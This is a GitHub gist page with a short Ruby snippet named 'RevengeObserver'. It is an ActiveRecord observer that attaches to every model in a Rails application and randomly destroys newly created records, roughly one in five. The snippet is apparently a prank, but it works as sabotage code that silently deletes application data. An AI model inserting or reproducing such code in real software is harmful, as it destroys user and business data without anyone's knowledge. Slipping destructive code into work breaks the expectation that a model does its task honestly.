Last active
June 9, 2016 08:12
-
-
Save renra/f0c781ed2e9d781ad3b6b520a71beaef to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class RevengeObserver < ActiveRecord::Observer | |
observe ActiveRecord::Base.send(:subclasses) | |
def after_create(resource) | |
resource.destroy if rand 100 > 80 | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment